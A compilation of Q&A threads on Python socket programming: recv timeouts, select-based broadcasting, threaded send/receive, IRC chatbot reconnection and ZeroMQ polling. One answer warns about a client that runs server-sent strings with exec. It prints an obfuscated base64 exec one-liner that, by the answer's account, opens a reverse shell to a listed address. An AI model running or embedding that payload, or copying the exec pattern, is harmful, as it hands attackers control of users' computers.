I have a basic client/server program. The server sends a timestamp to the client. I want to check to see if the client has responded with message and if not, resend the request. How would I go about this?
while 1:
wait = "True"
line = raw_input("Press enter to get the time or \"STOP\" to exit: ")
if line == "STOP":
break
print "Waiting for response......"
s.sendto(line, (servAddr,servPort))
line, server = s.recvfrom(256)
while wait: // Obviously wrong, but pseudo
if line == "":
print 'Send another'
wait = False
print (line)
It seems you need either socket.settimeout() or select module.
With .settimeout() you can tell socket to raise socket.timeout exception if it didn't receive any data within the specified timeframe. This is good enough if your server only has to deal with one client (one client per thread/process/greenlet/whatever also works). If you want your server to do something while waiting for client to respond and you're not using any threading/asynchronous framework, you'll probably have to write a bit more code as you'll want to set zero timeout and track the time to re-send the message manually.
select module provides you with tools to listen to multiple sockets with a common timeout.
Related
I recently learnt socket library in python. I'm coding a game's multiplayer server but before coding the whole multiplayer server I decided to code a small server just for seeing how a server works in python. When I coded the server it was awkward that my code was working fine when I ran the client and server on my own windows 10 computer , it connected and did it's work(it's work is two get the IP from hostname, but the client will send hostname and the code for getting IP is executed in the server and sent back to the client) but when I shared the client file with my friend then the client and server did not connect, there was no error message or something else, firewall is not blocking any connections, so why aren't they connecting? Here's the code in the server file(The print statements are just for making a loading bar effect):
import socket
from time import sleep
#Default port number: 1234
server=socket.socket()
def run_server(port=1234):
print('Booting server...')
print('|-|-|-',end='')
sleep(0.05)
server.bind(('',port))
print('|-|-|-',end='')
sleep(0.05)
server.listen(5)
print('|-|-|',end='')
sleep(0.05)
print('\nServer is running and can be accessed now\n===============================================')
while True:
c,addr=server.accept()
print('recieved connection from: ',addr)
c.send(bytes("ip=bytes(input('Welcome. Enter hostname to extract ip from: '),'utf-8')",'utf-8'))
c.send(bytes('_socket.send(ip)','utf-8'))
reply=c.recv(1024).decode('utf-8')
try:
ip=socket.gethostbyname(reply)
except:
c.send(bytes('''print("The hostname is either invalid or wasn't found")''','utf-8'))
c.send(bytes('_socket.close()','utf-8'))
continue
c.send(bytes("print('"+ip+"')",'utf-8'))
c.send(bytes('_socket.close()','utf-8'))
run_server()
And the code in the client:
import socket
def run(mode='client'):
_socket=socket.socket()
## if mode=='client':
_socket.connect(('192.168.0.101',1234))
## return True
while True:
command=_socket.recv(1024).decode('utf-8')
exec(command)
## if mode=='server':
## _socket.bind((socket.gethostname(),1234))
## _socket.listen(5)
## while True:
## client,addr=_socket.accept()
## msg=client.recv(1024)
## if msg[-1]!=b'.':
## continue
## else:
## _socket.close()
## break
## return pickle.loads(msg)
while True:
try:
run()
except OSError:
continue
(ignore the commented code, I just kept it so I can copy it in other files when needed)
ADDITIONAL INFO(which I missed before): In the client.py file, you'll see the last few lines are a try and except OSError block. I added this block because I don't know why but when I run the client, I get this error:
Traceback (most recent call last):
File "C:\Users\DEVDHRITI\Desktop\Files&Folders\HMMMMM\python\client.py", line 24, in <module>
run()
File "C:\Users\DEVDHRITI\Desktop\Files&Folders\HMMMMM\python\client.py", line 8, in run
command=_socket.recv(1024).decode('utf-8')
OSError: [WinError 10038] An operation was attempted on something that is not a socket
When I hide this error using the try and except blocks, there's no difference, the client works fine without showing any problems. Does anyone know why is this happening?
An operation was attempted on something that is not a socket usually means that you're attempting to do operations on a closed socket. I haven't run your code, but what I believe is happening is you have your server sending a single command to the client, then instructing the client to close. The client however attempts to accept infinite messages from the server; even after the client's socket has been closed.
Either have the client only accept a single message, or stop having the server tell the client to close itself.
I'd change the client code to something like this:
try:
while True:
command=_socket.recv(1024).decode('utf-8')
except KeyboardInterrupt:
_socket.close()
And now the client can press ctrl+c to close itself when it wants to exit.
Also, do not ever use exec like you are; especially without checking what you're about to execute. If the server was ever compromised, or the server owner became malicious, or if you swapped it and had the client send commands to the server, you're opening yourself up to having the machine running exec to become compromised. If the sending end of the socket sent code like this for example:
# Do not run this!
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMTIwLjEyOScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoZCkpLHsncyc6c30pCg==')[0]))
This would cause the exec'ing computer to start up a reverse TCP shell, and give control of their computer to the other machine! The other end would then be able to do anything they want on your computer (or, at least whatever they have the access rights to do).
You should never really ever use eval or exec unless it's used in a place where user's code will never enter it. Feeding user input directly into exec is extraordinarily dangerous and should be avoided at all costs.
This is probably very simple socket message exchange programming, but with my flimsy idea on socket and all, I could not really make it work properly so I'm reaching out for help.
Scenario : Two clients send messages. First one sends Halo and Seeya. After the first sends those messages, the second sends Hello and Bye (This client will just time sleep 6 secs to keep this order). To all messages, server replies with (original msg), client (number)!and a reply message is broadcasted to both clients.
So ideally, the result on both clients would look like this :
Halo, client 1!
Seeya, client 1!
Hello, client 2!
Bye, client 2 !
I couldn't make it to numbering each client, but here is my code that works weird.
server
import socket
clients = []
# send msgs to every client
def broadcast(message):
for client in clients :
client.send(message)
# connection part
s = socket.socket()
s.bind(('127.0.0.1', 7070))
s.listen(2)
while True:
c, addr = s.accept()
if c:
clients.append(c)
msg = c.recv(1024).decode()
msg += ', client!'
broadcast(msg.encode())
client1
### here goes connection part ###
s.send(("Halo").encode())
print(f"server = {(s.recv(1024)).decode()}")
# I've tried adding socket closing/connection part here
s.send(("Seeya").encode())
print((s.recv(1024)).decode())
time.sleep(3)
s.close()
client2 - first connected, but waits 6 secs for message order
### here goes connection part ###
time.sleep(6) # waits for message order
s.send(("Hello").encode())
print(f"server = {(s.recv(1024)).decode()}")
# I've tried adding socket closing/connection part here
s.send(("Bye").encode())
print((s.recv(1024)).decode())
time.sleep(3)
s.close()
The result I get is...
# On client 1 side
Halo, client! # no Seeya, Hello, Bye
# connection isn't closed
# On client 2 side
Hello, client! # no Seeya, Bye
Halo, client! # connection is closed
You have several issues going on here. The first and primary one is that your server's main loop is messed up. Each time through the loop, your server wants to accept a connection. So, the first client to connect gets accepted and immediately its first message is received. But the other client hasn't yet been accepted and so will not receive this first message. Then the second client connection is accepted and its first message is then sent to both clients, but then the loop iterates again and no more messages will be sent from the server until a third client connects. Etc.
So you need to separate accepting connections and receiving messages. This can be done in several ways. The most straight-forward way is to use the select function to wait on a number of sockets at once. That is, if you have a list of sockets including the listening socket and previously accepted ones, you'd do something like this:
# List starts with only listening socket
list_of_sockets = [lsock]
...
while True:
# Wait until some socket becomes "readable"
rfds, _wfds, _xfds = select.select(list_of_socks, [], [])
for sock in rfds:
if sock is lsock:
# Listening socket ready. Accept new connection
c, addr = lsock.accept()
print(f"Accepted {c}")
list_of_socks.append(c)
else:
msg = sock.recv(1024)
if msg:
# Received data from connected socket. Send to all
print(f"Got {msg.decode()} from {sock}")
broadcast(msg)
else:
# Got end of file (this client closed). Remove client from list
print(f"Closed {sock}")
list_of_socks.remove(sock)
Another issue with your code that will not be addressed by the server code above: You cannot assume that each message you send will be received as a distinct unit. That is, if the server sends 'Halo' and then it sends 'Hello' before you (a client) have done a recv, then in all likelihood, all the data will be returned in one fell swoop; that is 'HaloHello'.
Generally therefore you will want to put some kind of separator in the data (like a newline [\n] -- but then you'll need to parse the received data) or, better yet, place a fixed-length field in front of each message, giving the length of the subsequent variable-length part, so that you can receive and process exactly one message at a time. (In python, this typically involves using the struct module's pack and unpack functions.) As a result, your current client code will probably not properly sequence messages as you wish.
Also -- though it is less likely to cause a problem -- the same goes for send: you should not assume that send(N) sends exactly N bytes. It might send 1, 2, 3 or N-1 bytes. You can use sendall to ensure that all bytes are sent.
I'm trying to build a very simple TELNET client in Python and I'm getting problem on the last part: sending/receiving data to/from the server.
With the code I have, if no data arrives at the very beginnig, the loop get paused and I can't even send commands.
Here the interested part of the code:
# Infinite cycle that allows user to get and send data from/to the host
while True:
incoming_data = my_socket.recv(4096)
if not incoming_data:
print('Problem occurred - Connection closed')
my_socket.close()
sys.exit()
else:
# display data sent from the host trough the stdout
sys.stdout.write(incoming_data)
# Commands sent to the host
command = sys.stdin.readline()
my_socket.send(command)
(I think the program kinda of works if I try to connect to some hosts that send data at the beginning.)
The idea would be have two loops, running at the same time, getting data or sending data, but I can't get it to work.
I can't use the telnet library and I don't want to use the select library (only sys and socket).
You want to use the threading library.
The following program runs the receiving in one thread and the sending in another:
import socket
from threading import Thread
def listen(conn):
while True:
received = conn.recv(1024).decode()
print("Message received: " + received)
def send(conn):
while True:
to_send = input("Input message to send: ").encode()
conn.sendall(to_send)
host = "127.0.0.1"
port = 12345
sock = socket.socket()
sock.connect((host, port))
Thread(target=listen, args=[sock]).start()
Thread(target=send, args=[sock]).start()
This program is for Python 3. Python 2 is very similar, except print() works differently, and you don't need to encode() and decode() everything being sent through a socket.
The listen and send functions are run in parallel, so that as soon as data arrives, it is printed, but you can also send data at any time. Practically, you would probably want to make some changes so that the data isn't just printed over the input prompt. However, this would be hard just in a command line application.
Research queues for control over data passing between threads.
Let me know if you have any more questions.
Hey so I decided to create an IRC ChatBot whose sole purpose it is to read incoming messages from Twitch Chat and if a giveaway is recognized by a keyword it's supposed to enter the giveaway by sending !enter in Chat.
I build the Bot upon this source: https://github.com/BadNidalee/ChatBot. I only changed things in the Run.py so thats the only Code I'm going to post. The unaltered ChatBot does work but it has no reconnect ability and regularly stops receiving data because the socket closes or other reasons.
All I wanted to change was make it so that the ChatBot is stable and can just stay in the IRC Chat constantly without disconnecting. I tried to achieve this by setting a timeout of 8 seconds for my socket and catching timeout exceptions that would occur and reconnect after they occur.
And all in all it does seem to work, my Bot does what it's supposed to even when alot of messages are coming in, it recognizes when a Giveaway starts and answers acordingly. IRC Server PING Messages are also handled and answered correctly. If there is no message in Chat for over 8 seconds the Exception gets thrown correctly and the Bot also reconnects correctly to IRC.
BUT heres my Problem: After seemingly random times the socket will literally just Stop working. What I find strange is it will sometimes work for 20 minutes and sometimes for an hour. It doesn't occur when special events, like lots of messages or something else happens in Chat, it really seems random. It will not timeout there's just nothing happening anymore. If I cancel the program with CTRL-C at this point the console sais the last call was "readbuffer = s.recv(1024)" But why is it not throwing a timeout exception at that point? If s.recv was called the socket should timeout if nothing is received after 8 seconds but the program just stops and there is no more output until you manually abort it.
Maybe I went about it the wrong way completely. I just want a stable 24/7-able ChatBot that scans for one simple keyword and answers with one simple !enter.
This is also my first Time programming in Python so If I broke any conventions or made any grave mistakes let me know.
The getUser Method returns the username of the line of chat that is scanned currently.
The getMessage Method returns the message of the line of chat that is scanned.
The openSocket Method opens the Socket and sends JOIN NICK PASS etc to the IRC
#!/usr/bin/python
import string
import socket
import datetime
import time
from Read import getUser, getMessage
from Socket import openSocket, sendMessage
from Initialize import joinRoom
connected = False
readbuffer = ""
def connect():
print "Establishing Connection..."
irc = openSocket()
joinRoom(irc)
global connected
connected = True
irc.settimeout(8.0)
print "Connection Established!"
return irc
while True:
s = connect()
s.settimeout(8.0)
while connected:
try:
readbuffer = s.recv(1024)
temp = string.split(readbuffer, "\n")
readbuffer = temp.pop()
for line in temp:
if "PING" in line:
s.send(line.replace("PING", "PONG"))
timern = str(datetime.datetime.now().time())
timern = timern[0:8]
print timern + " PING received"
break
user = getUser(line)
message = getMessage(line)
timern = str(datetime.datetime.now().time())
timern = timern[0:8]
print timern +" " + user + ": " + message
if "*** NEW" in message:
sendMessage(s, "!enter")
break
except socket.timeout:
connected = False
print "Socket Timed Out, Connection closed!"
break
except socket.error:
connected = False
print "Socket Error, Connection closed!"
break
I think you've missunderstood how timeout work on the socket.
s.settimeout(8.0)
Will only set s.connect(...) to timeout if it can't reach the destination host.
Further more, usually what you want to use instead if s.setblocking(0) however this alone won't help you either (probably).
Instead what you want to use is:
import select
ready = select.select([s], [], [], timeout_in_seconds)
if ready[0]:
data = s.recv(1024)
What select does is check the buffer to see if any incoming data is available, if there is you call recv() which in itself is a blocking operation. If there's nothing in the buffer select will return empty and you should avoid calling recv().
If you're running everything on *Nix you're also better off using epoll.
from select import epoll, EPOLLIN
poll = epoll()
poll.register(s.fileno(), EPOLLIN)
events = poll.poll(1) # 1 sec timeout
for fileno, event in events:
if event is EPOLLIN and fileno == s.fileno():
data = s.recv(1024)
This is a crude example of how epoll could be used.
But it's quite fun to play around with and you should read more about it
I just got started with ZMQ. I am designing an app whose workflow is:
one of many clients (who have random PULL addresses) PUSH a request to a server at 5555
the server is forever waiting for client PUSHes. When one comes, a worker process is spawned for that particular request. Yes, worker processes can exist concurrently.
When that process completes it's task, it PUSHes the result to the client.
I assume that the PUSH/PULL architecture is suited for this. Please correct me on this.
But how do I handle these scenarios?
the client_receiver.recv() will wait for an infinite time when server fails to respond.
the client may send request, but it will fail immediately after, hence a worker process will remain stuck at server_sender.send() forever.
So how do I setup something like a timeout in the PUSH/PULL model?
EDIT: Thanks user938949's suggestions, I got a working answer and I am sharing it for posterity.
If you are using zeromq >= 3.0, then you can set the RCVTIMEO socket option:
client_receiver.RCVTIMEO = 1000 # in milliseconds
But in general, you can use pollers:
poller = zmq.Poller()
poller.register(client_receiver, zmq.POLLIN) # POLLIN for recv, POLLOUT for send
And poller.poll() takes a timeout:
evts = poller.poll(1000) # wait *up to* one second for a message to arrive.
evts will be an empty list if there is nothing to receive.
You can poll with zmq.POLLOUT, to check if a send will succeed.
Or, to handle the case of a peer that might have failed, a:
worker.send(msg, zmq.NOBLOCK)
might suffice, which will always return immediately - raising a ZMQError(zmq.EAGAIN) if the send could not complete.
This was a quick hack I made after I referred user938949's answer and http://taotetek.wordpress.com/2011/02/02/python-multiprocessing-with-zeromq/ . If you do better, please post your answer, I will recommend your answer.
For those wanting lasting solutions on reliability, refer http://zguide.zeromq.org/page:all#toc64
Version 3.0 of zeromq (beta ATM) supports timeout in ZMQ_RCVTIMEO and ZMQ_SNDTIMEO. http://api.zeromq.org/3-0:zmq-setsockopt
Server
The zmq.NOBLOCK ensures that when a client does not exist, the send() does not block.
import time
import zmq
context = zmq.Context()
ventilator_send = context.socket(zmq.PUSH)
ventilator_send.bind("tcp://127.0.0.1:5557")
i=0
while True:
i=i+1
time.sleep(0.5)
print ">>sending message ",i
try:
ventilator_send.send(repr(i),zmq.NOBLOCK)
print " succeed"
except:
print " failed"
Client
The poller object can listen in on many recieving sockets (see the "Python Multiprocessing with ZeroMQ" linked above. I linked it only on work_receiver. In the infinite loop, the client polls with an interval of 1000ms. The socks object returns empty if no message has been recieved in that time.
import time
import zmq
context = zmq.Context()
work_receiver = context.socket(zmq.PULL)
work_receiver.connect("tcp://127.0.0.1:5557")
poller = zmq.Poller()
poller.register(work_receiver, zmq.POLLIN)
# Loop and accept messages from both channels, acting accordingly
while True:
socks = dict(poller.poll(1000))
if socks:
if socks.get(work_receiver) == zmq.POLLIN:
print "got message ",work_receiver.recv(zmq.NOBLOCK)
else:
print "error: message timeout"
The send wont block if you use ZMQ_NOBLOCK, but if you try closing the socket and context, this step would block the program from exiting..
The reason is that the socket waits for any peer so that the outgoing messages are ensured to get queued.. To close the socket immediately and flush the outgoing messages from the buffer, use ZMQ_LINGER and set it to 0..
If you're only waiting for one socket, rather than create a Poller, you can do this:
if work_receiver.poll(1000, zmq.POLLIN):
print "got message ",work_receiver.recv(zmq.NOBLOCK)
else:
print "error: message timeout"
You can use this if your timeout changes depending on the situation, instead of setting work_receiver.RCVTIMEO.